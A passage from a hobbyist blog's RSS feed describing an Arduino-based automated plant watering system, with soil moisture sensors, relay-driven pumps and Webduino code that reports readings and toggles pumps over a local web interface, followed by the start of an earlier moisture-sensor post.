<p>Overall this shouldnt cost much, apart from the Arduino and Ethernet shield. The relays are about R10 each at electronics123 (thanks to schalk from H4H for picking one up for me).</p>
<p>So the system can be divded into a few easy parts:</p>
<ol>
<li>
<ol>
<li>Sensors ( to measure soil moisture levels )</li>
<li>Pump system (relays, diodes, transistors)</li>
<li>Ethernet webserver (used to pull the stats as well as turn the pumps on and off)</li>
</ol>
</li>
</ol>
<p>&nbsp;</p>
<h2><strong>Sensors:</strong></h2>
<p>As before in the previous post &#8211; <a title="http://andrewmohawk.com/2011/10/07/automated-gardening-moisture-sensor/" href="http://andrewmohawk.com/2011/10/07/automated-gardening-moisture-sensor/">http://andrewmohawk.com/2011/10/07/automated-gardening-moisture-sensor/</a> the sensors are pretty simple to setup. I went and got a ton of electrical wiring for the pumps and so on and i needed rather long leads for the pots so I just used that. Basic idea is to simply wire up the galvanized washers as below:</p>
<div id="attachment_340" class="wp-caption alignleft" style="width: 160px"><a href="http://andrewmohawk.com/wp-content/uploads/2011/11/DSC02066_1080x810.jpg"><img class="size-thumbnail wp-image-340" title="Galvanized Sensors" src="http://andrewmohawk.com/wp-content/uploads/2011/11/DSC02066_1080x810-150x150.jpg" alt="Galvanized Sensors" width="150" height="150" /></a><p class="wp-caption-text">Galvanized Sensors</p></div>
<div id="attachment_341" class="wp-caption alignleft" style="width: 160px"><a href="http://andrewmohawk.com/wp-content/uploads/2011/11/DSC02068_1080x810.jpg"><img class="size-thumbnail wp-image-341" title="Galvanized Sensors" src="http://andrewmohawk.com/wp-content/uploads/2011/11/DSC02068_1080x810-150x150.jpg" alt="Galvanized Sensors" width="150" height="150" /></a><p class="wp-caption-text">Galvanized Sensors</p></div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>The basic idea with these sensors is to measure the resistance via a 10K resistor across two portions of the soil, I&#8217;ve stolen a very nice picture of the setup of these from the internets and is as follows:</p>
<div id="attachment_342" class="wp-caption alignleft" style="width: 160px"><a href="http://andrewmohawk.com/wp-content/uploads/2011/11/arduino-diagram-sensors.jpg"><img class="size-thumbnail wp-image-342" title="Arduino Sensor Diagram" src="http://andrewmohawk.com/wp-content/uploads/2011/11/arduino-diagram-sensors-150x150.jpg" alt="Arduino Sensor Diagram" width="150" height="150" /></a><p class="wp-caption-text">Arduino Sensor Diagram</p></div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>(If someone has the original for this please let me know and I will link).</p>
<p>Anyway, once you have the sensors setup, I built 4- 2 per plant so i could measure the soil moisture at the top and bottom of the pots, you can simply wire them in as the above diagram. I wired mine up to analog ports 0-3.</p>
<p>&nbsp;</p>
<h2><strong>Pump system (relays, diodes, transistors)</strong></h2>
<p>So this is obviously the more exciting part for me, since I get to play with something that I can turn on and off and get a more real world experience out of my digital life :) I had a few discussions about it with the guys from house4hack.co.za and they suggested i setup the relay in a standard way which is as follows:</p>
<div id="attachment_343" class="wp-caption alignleft" style="width: 160px"><a href="http://andrewmohawk.com/wp-content/uploads/2011/11/arduino-relay.png"><img class="size-thumbnail wp-image-343" title="arduino-relay" src="http://andrewmohawk.com/wp-content/uploads/2011/11/arduino-relay-150x150.png" alt="arduino-relay" width="150" height="150" /></a><p class="wp-caption-text">arduino-relayarduino-relay</p></div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Basically use your data line connected to one of the Arduino digital ports and your relay as above. The transistor now allows you to use digitalWrite to turn the pumps on or off. Below is a closer picture of the one relay in place with the other removed:</p>
<div id="attachment_344" class="wp-caption alignleft" style="width: 160px"><a href="http://andrewmohawk.com/wp-content/uploads/2011/11/realy.jpg"><img class="size-thumbnail wp-image-344" title="Relay" src="http://andrewmohawk.com/wp-content/uploads/2011/11/realy-150x150.jpg" alt="Relay" width="150" height="150" /></a><p class="wp-caption-text">Relay</p></div>
<p>&nbsp;</p>
<p>You can see the sensor setup on the left of the board, relay one in the middle and the missing relay on the right. You can see the transistor and diode setup as well.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>When connecting the power, its also important to make sure that you have the adapters the right way round, just use a multimeter to check you know which is the positive and which is the negative wire. We only bridge the positive via the relay, the ground/negative we leave as is:</p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2011/11/power-test.jpg"><img class="alignleft size-thumbnail wp-image-349" title="power-test" src="http://andrewmohawk.com/wp-content/uploads/2011/11/power-test-150x150.jpg" alt="" width="150" height="150" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2><strong>Web setup:</strong></h2>
<p>So now we have a relay setup and the sensors, its really just a case of putting two and two together. We need a simple web interface that can do the following:</p>
<ol>
<li>Give us the readings for all 4 sensors</li>
<li>Be able to control both pumps (switching on and off)</li>
</ol>
<p>Ideally the system i have in mind is not completely controlled by the arduino, but also has  a PC element to manage the water by the average soil moisture over time. Id want it to be customisable in a way that i can set the time period (say 2-6 hours) where it averages the soil moisture and determines if the pumps should be turned on or off. This is the reason I really want the webserver to essentially just spit out the values and offer me the ability to turn the pumps on and off.</p>
<p>Herewith is my Arduino Code:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">//These includes are for the webduino addon for Arduino</span>
<span style="color: #666666; font-style: italic;">#include &quot;SPI.h&quot;
</span><span style="color: #666666; font-style: italic;">#include &quot;Ethernet.h&quot;
</span><span style="color: #666666; font-style: italic;">#include &quot;WebServer.h&quot;
</span>
<span style="color: #666666; font-style: italic;">//Define the MAC and IP for our interface</span>
static uint8_t mac<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span> <span style="color: #208080;">0xDE</span><span style="color: #339933;">,</span> <span style="color: #208080;">0xAD</span><span style="color: #339933;">,</span> <span style="color: #208080;">0xBE</span><span style="color: #339933;">,</span> <span style="color: #208080;">0xEF</span><span style="color: #339933;">,</span> <span style="color: #208080;">0xFE</span><span style="color: #339933;">,</span> <span style="color: #208080;">0xED</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
static uint8_t ip<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span> <span style="color: #cc66cc;">192</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">168</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">210</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Prefix</span>
<span style="color: #666666; font-style: italic;">#define PREFIX &quot;/&quot;
</span>WebServer webserver<span style="color: #009900;">&#40;</span>PREFIX<span style="color: #339933;">,</span> <span style="color: #cc66cc;">80</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Define which digital ports are used for which pump (mine are ports 3 and 4)</span>
<span style="color: #666666; font-style: italic;">#define pump1 3
</span><span style="color: #666666; font-style: italic;">#define pump2 4
</span>
<span style="color: #666666; font-style: italic;">//Variables used to indicate whether the pumps are on (1) or off (0)</span>
static int relayPump1 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
static int relayPump2 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Variables used to store the moisture readings</span>
int moisture_val1 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
int moisture_val2 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
int moisture_val3 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
int moisture_val4 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Variables used to store the analog ports used for the sensors (mine are 0-3)</span>
int moisture_sensor1 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
int moisture_sensor2 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
int moisture_sensor3 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">2</span><span style="color: #339933;">;</span>
int moisture_sensor4 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">3</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Toggles the first pump</span>
void pumpOne<span style="color: #009900;">&#40;</span>WebServer <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;</span>server<span style="color: #339933;">,</span> WebServer<span style="color: #339933;">::</span><span style="color: #004000;">ConnectionType</span> type<span style="color: #339933;">,</span> char <span style="color: #339933;">*,</span> bool<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  server<span style="color: #339933;">.</span>httpSuccess<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>type <span style="color: #339933;">!=</span> WebServer<span style="color: #339933;">::</span><span style="color: #004000;">HEAD</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    relayPump1 <span style="color: #339933;">=</span> <span style="color: #339933;">!</span>relayPump1<span style="color: #339933;">;</span>
    switchPumps<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Toggles the second pump</span>
void pumpTwo<span style="color: #009900;">&#40;</span>WebServer <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;</span>server<span style="color: #339933;">,</span> WebServer<span style="color: #339933;">::</span><span style="color: #004000;">ConnectionType</span> type<span style="color: #339933;">,</span> char <span style="color: #339933;">*,</span> bool<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  server<span style="color: #339933;">.</span>httpSuccess<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>type <span style="color: #339933;">!=</span> WebServer<span style="color: #339933;">::</span><span style="color: #004000;">HEAD</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    relayPump2 <span style="color: #339933;">=</span> <span style="color: #339933;">!</span>relayPump2<span style="color: #339933;">;</span>
    switchPumps<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//List the statistics for the webserver</span>
void getStats<span style="color: #009900;">&#40;</span>WebServer <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;</span>server<span style="color: #339933;">,</span> WebServer<span style="color: #339933;">::</span><span style="color: #004000;">ConnectionType</span> type<span style="color: #339933;">,</span> char <span style="color: #339933;">*,</span> bool<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  server<span style="color: #339933;">.</span>httpSuccess<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>type <span style="color: #339933;">!=</span> WebServer<span style="color: #339933;">::</span><span style="color: #004000;">HEAD</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
&nbsp;
    moisture_val1 <span style="color: #339933;">=</span> analogRead<span style="color: #009900;">&#40;</span>moisture_sensor1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    moisture_val2 <span style="color: #339933;">=</span> analogRead<span style="color: #009900;">&#40;</span>moisture_sensor2<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    moisture_val3 <span style="color: #339933;">=</span> analogRead<span style="color: #009900;">&#40;</span>moisture_sensor3<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    moisture_val4 <span style="color: #339933;">=</span> analogRead<span style="color: #009900;">&#40;</span>moisture_sensor4<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    server<span style="color: #339933;">.</span><span style="color: #b1b100;">print</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Pump one: &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    server<span style="color: #339933;">.</span><span style="color: #b1b100;">print</span><span style="color: #009900;">&#40;</span>relayPump1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    server<span style="color: #339933;">.</span><span style="color: #b1b100;">print</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;
Pump two: &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    server<span style="color: #339933;">.</span><span style="color: #b1b100;">print</span><span style="color: #009900;">&#40;</span>relayPump2<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    server<span style="color: #339933;">.</span><span style="color: #b1b100;">print</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;
Sensor 1: &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    server<span style="color: #339933;">.</span><span style="color: #b1b100;">print</span><span style="color: #009900;">&#40;</span>moisture_val1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    server<span style="color: #339933;">.</span><span style="color: #b1b100;">print</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;
Sensor 2: &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    server<span style="color: #339933;">.</span><span style="color: #b1b100;">print</span><span style="color: #009900;">&#40;</span>moisture_val2<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    server<span style="color: #339933;">.</span><span style="color: #b1b100;">print</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;
Sensor 3: &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    server<span style="color: #339933;">.</span><span style="color: #b1b100;">print</span><span style="color: #009900;">&#40;</span>moisture_val3<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    server<span style="color: #339933;">.</span><span style="color: #b1b100;">print</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;
Sensor 4: &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    server<span style="color: #339933;">.</span><span style="color: #b1b100;">print</span><span style="color: #009900;">&#40;</span>moisture_val4<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
&nbsp;
  <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Main loop</span>
void loop<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
&nbsp;
  <span style="color: #666666; font-style: italic;">/* process incoming connections one at a time forever */</span>
  webserver<span style="color: #339933;">.</span>processConnection<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//switch the pumps</span>
int switchPumps<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>relayPump1 <span style="color: #339933;">==</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
	  digitalWrite<span style="color: #009900;">&#40;</span>pump1<span style="color: #339933;">,</span>HIGH<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	  <span style="color: #666666; font-style: italic;">//Serial.println(&quot;Pump1 Activated&quot;);</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>relayPump1 <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
	  digitalWrite<span style="color: #009900;">&#40;</span>pump1<span style="color: #339933;">,</span>LOW<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	  <span style="color: #666666; font-style: italic;">//Serial.println(&quot;Pump1 De-Activated&quot;);</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>relayPump2 <span style="color: #339933;">==</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
	  digitalWrite<span style="color: #009900;">&#40;</span>pump2<span style="color: #339933;">,</span>HIGH<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	  <span style="color: #666666; font-style: italic;">//Serial.println(&quot;Pump2 Activated&quot;);</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>relayPump2 <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
	  digitalWrite<span style="color: #009900;">&#40;</span>pump2<span style="color: #339933;">,</span>LOW<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	  <span style="color: #666666; font-style: italic;">//Serial.println(&quot;Pump2 De-Activated&quot;);</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #b1b100;">return</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Setup the server - switch the pumps to OUTPUT</span>
void setup<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  pinMode<span style="color: #009900;">&#40;</span>pump1<span style="color: #339933;">,</span>OUTPUT<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  pinMode<span style="color: #009900;">&#40;</span>pump2<span style="color: #339933;">,</span>OUTPUT<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  Ethernet<span style="color: #339933;">.</span>begin<span style="color: #009900;">&#40;</span>mac<span style="color: #339933;">,</span> ip<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  webserver<span style="color: #339933;">.</span>setDefaultCommand<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;</span>getStats<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  webserver<span style="color: #339933;">.</span>addCommand<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;pumpOne&quot;</span><span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;</span>pumpOne<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  webserver<span style="color: #339933;">.</span>addCommand<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;pumpTwo&quot;</span><span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;</span>pumpTwo<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  webserver<span style="color: #339933;">.</span>addCommand<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;stats&quot;</span><span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;</span>getStats<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #666666; font-style: italic;">/* start the webserver */</span>
  webserver<span style="color: #339933;">.</span>begin<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009900;">&#125;</span></pre></div></div>

<h2><strong>Completion:</strong></h2>
<p>Once I&#8217;d completed the above sensors and arduino&#8217;s, I popped them into the waterproof container and was good to go with my final testing environment and container:</p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2011/11/endEnvironment.jpg"><img class="alignleft size-thumbnail wp-image-350" title="endEnvironment" src="http://andrewmohawk.com/wp-content/uploads/2011/11/endEnvironment-150x150.jpg" alt="" width="150" height="150" /></a><a href="http://andrewmohawk.com/wp-content/uploads/2011/11/endEnvironment2.jpg"><img class="alignleft size-thumbnail wp-image-351" title="endEnvironment2" src="http://andrewmohawk.com/wp-content/uploads/2011/11/endEnvironment2-150x150.jpg" alt="" width="150" height="150" /></a><a href="http://andrewmohawk.com/wp-content/uploads/2011/11/powerbox.jpg"><img class="alignleft size-thumbnail wp-image-353" title="powerbox" src="http://andrewmohawk.com/wp-content/uploads/2011/11/powerbox-150x150.jpg" alt="" width="150" height="150" /></a></p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2011/11/inbox.jpg"><img class="alignleft size-thumbnail wp-image-352" title="inbox" src="http://andrewmohawk.com/wp-content/uploads/2011/11/inbox-150x150.jpg" alt="" width="150" height="150" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>However my ethernet shield seems to have overheated and popped itself and the arduino, so I will need to get a replacement for them (<strong>feel free to donate me yours :D). </strong>Once i have this I will definitely include the server side code to manage the watering and web interface as well<strong>. </strong></p>
<p>&nbsp;</p>
<p><strong>-AM<br />
</strong></p>
<div id="_mcePaste" class="mcePaste" style="position: absolute; left: -10000px; top: 4556px; width: 1px; height: 1px; overflow: hidden;">//These includes are for the webduino addon for Arduino<br />
#include &#8220;SPI.h&#8221;<br />
#include &#8220;Ethernet.h&#8221;<br />
#include &#8220;WebServer.h&#8221;&nbsp;</p>
<p>//Define the MAC and IP for our interface<br />
static uint8_t mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };<br />
static uint8_t ip[] = { 192, 168, 1, 210 };</p>
<p>//Prefix<br />
#define PREFIX &#8220;/&#8221;<br />
WebServer webserver(PREFIX, 80);</p>
<p>//Define which digital ports are used for which pump (mine are ports 3 and 4)<br />
#define pump1 3<br />
#define pump2 4</p>
<p>//Variables used to indicate whether the pumps are on (1) or off (0)<br />
static int relayPump1 = 0;<br />
static int relayPump2 = 0;</p>
<p>//Variables used to store the moisture readings<br />
int moisture_val1 = 0;<br />
int moisture_val2 = 0;<br />
int moisture_val3 = 0;<br />
int moisture_val4 = 0;</p>
<p>//Variables used to store the analog ports used for the sensors (mine are 0-3)<br />
int moisture_sensor1 = 0;<br />
int moisture_sensor2 = 1;<br />
int moisture_sensor3 = 2;<br />
int moisture_sensor4 = 3;</p>
<p>//Toggles the first pump<br />
void pumpOne(WebServer &amp;server, WebServer::ConnectionType type, char *, bool)<br />
{<br />
server.httpSuccess();<br />
if (type != WebServer::HEAD)<br />
{<br />
relayPump1 = !relayPump1;<br />
switchPumps();<br />
}<br />
}</p>
<p>//Toggles the second pump<br />
void pumpTwo(WebServer &amp;server, WebServer::ConnectionType type, char *, bool)<br />
{<br />
server.httpSuccess();<br />
if (type != WebServer::HEAD)<br />
{<br />
relayPump2 = !relayPump2;<br />
switchPumps();<br />
}<br />
}</p>
<p>//List the statistics for the webserver<br />
void getStats(WebServer &amp;server, WebServer::ConnectionType type, char *, bool)<br />
{<br />
server.httpSuccess();<br />
if (type != WebServer::HEAD)<br />
{</p>
<p>moisture_val1 = analogRead(moisture_sensor1);<br />
moisture_val2 = analogRead(moisture_sensor2);<br />
moisture_val3 = analogRead(moisture_sensor3);<br />
moisture_val4 = analogRead(moisture_sensor4);</p>
<p>server.print(&#8220;Pump one: &#8220;);<br />
server.print(relayPump1);<br />
server.print(&#8220;&lt;br/&gt;Pump two: &#8220;);<br />
server.print(relayPump2);<br />
server.print(&#8220;&lt;br/&gt;Sensor 1: &#8220;);<br />
server.print(moisture_val1);<br />
server.print(&#8220;&lt;br/&gt;Sensor 2: &#8220;);<br />
server.print(moisture_val2);<br />
server.print(&#8220;&lt;br/&gt;Sensor 3: &#8220;);<br />
server.print(moisture_val3);<br />
server.print(&#8220;&lt;br/&gt;Sensor 4: &#8220;);<br />
server.print(moisture_val4);</p>
<p>}<br />
}</p>
<p>//Main loop<br />
void loop()<br />
{</p>
<p>/* process incoming connections one at a time forever */<br />
webserver.processConnection();<br />
}</p>
<p>//switch the pumps<br />
int switchPumps()<br />
{<br />
if(relayPump1 == 1)<br />
{<br />
digitalWrite(pump1,HIGH);<br />
//Serial.println(&#8220;Pump1 Activated&#8221;);<br />
}<br />
else if(relayPump1 == 0)<br />
{<br />
digitalWrite(pump1,LOW);<br />
//Serial.println(&#8220;Pump1 De-Activated&#8221;);<br />
}</p>
<p>if(relayPump2 == 1)<br />
{<br />
digitalWrite(pump2,HIGH);<br />
//Serial.println(&#8220;Pump2 Activated&#8221;);<br />
}<br />
else if(relayPump2 == 0)<br />
{<br />
digitalWrite(pump2,LOW);<br />
//Serial.println(&#8220;Pump2 De-Activated&#8221;);<br />
}</p>
<p>return 0;<br />
}</p>
<p>//Setup the server &#8211; switch the pumps to OUTPUT<br />
void setup()<br />
{<br />
pinMode(pump1,OUTPUT);<br />
pinMode(pump2,OUTPUT);</p>
<p>Ethernet.begin(mac, ip);<br />
webserver.setDefaultCommand(&amp;getStats);<br />
webserver.addCommand(&#8220;pumpOne&#8221;, &amp;pumpOne);<br />
webserver.addCommand(&#8220;pumpTwo&#8221;, &amp;pumpTwo);<br />
webserver.addCommand(&#8220;stats&#8221;, &amp;getStats);</p>
<p>/* start the webserver */<br />
webserver.begin();</p>
<p>}</p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2011/11/14/automated-water-system/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Automated Moisture Sensor</title>
		<link>http://andrewmohawk.com/2011/10/07/automated-gardening-moisture-sensor/</link>
		<comments>http://andrewmohawk.com/2011/10/07/automated-gardening-moisture-sensor/#comments</comments>
		<pubDate>Thu, 06 Oct 2011 23:56:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Arduino]]></category>
		<category><![CDATA[Coding]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[Soil Moisture]]></category>
		<category><![CDATA[Soil Sensor]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=302</guid>
		<description><![CDATA[I&#8217;ve always been harping on about growing my own tomatoes and other veggies and earlier this year i attempted it for a while.Unfortunately with me going away for various conferences and generally being a forgetful lout i managed to kill many many plants! What i wanted was: What I got was: So recently I was [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve always been harping on about growing my own tomatoes and other veggies and earlier this year i attempted it for a while.Unfortunately with me going away for various conferences and generally being a forgetful lout i managed to kill many many plants!</p>
<p>What i wanted was:</p>
<p><img title="What i wanted!" src="http://2.bp.blogspot.com/-3PFuYhPWNrQ/TWFu6lmF69I/AAAAAAAAAGU/0g_8S8ElsPY/s1600/patio+tomato.jpg" alt="What i wanted!" width="270" height="338" /></p>
<p>What I got was:</p>
<p><img title="What I Got" src="http://www.zanekohler.com/storage/production-blog/jasmin-plant.jpg" alt="What I Got" width="270" /></p>
<p>So recently I was playing with my arduino and thinking about this, and got the idea to try and create an automated gardening system where my plants where automatically given water/light/etc without me having to worry about it. There are some fantastic resources online like http://www.instructables.com/id/Garduino-Gardening-Arduino/ and http://makeprojects.com/Project/Garduino-Geek-Gardening/62/1.</p>
<p>I began planning something i&#8217;d want, and ideally it would have to be this:</p>
<ul>
<li>Moisture control for water</li>
<li>Water pump to water them</li>
<li>Light sensors for Lights and LEDs (red and blue for optimal growth)</li>
<li>Humidity to keep my plants cosy</li>
<li>Interface via LCD/Web to see how things are doing (if more water is needed etc)</li>
<li>Solar panel to allow the system to be completely stand alone</li>
</ul>
<p><span id="more-302"></span></p>
<p>I looked at some of the things and it appears that the solar panel wont be powerful enough to power the relay for the pump as well as the LEDs, so thats out initially till i find a better plan. And I think that the LEDs can be avoided for now with me probably going to have this thing outside.</p>
<p>First things first, i decided to look at the moisture sensor, since thats what i&#8217;d initially need to make the water system work. Basically it checks the moisture levels in the soil and if the soil is too dry it will need to either turn on a water pump or change a valve or something to let the water flow. So i started looking around and you can buy moisture sensors for a few hundred bucks, but ACTUALLY they just measure resistance in soil so you can easily do this with a 2 pieces of wire, a resistor and some nuts (although these may not be required):</p>
<div id="attachment_303" class="wp-caption aligncenter" style="width: 160px"><a href="http://andrewmohawk.com/wp-content/uploads/2011/10/requirements.jpg"><img class="size-thumbnail wp-image-303" title="requirements" src="http://andrewmohawk.com/wp-content/uploads/2011/10/requirements-150x150.jpg" alt="Basic Requirements" width="150" height="150" /></a><p class="wp-caption-text">Basic Requirements</p></div>
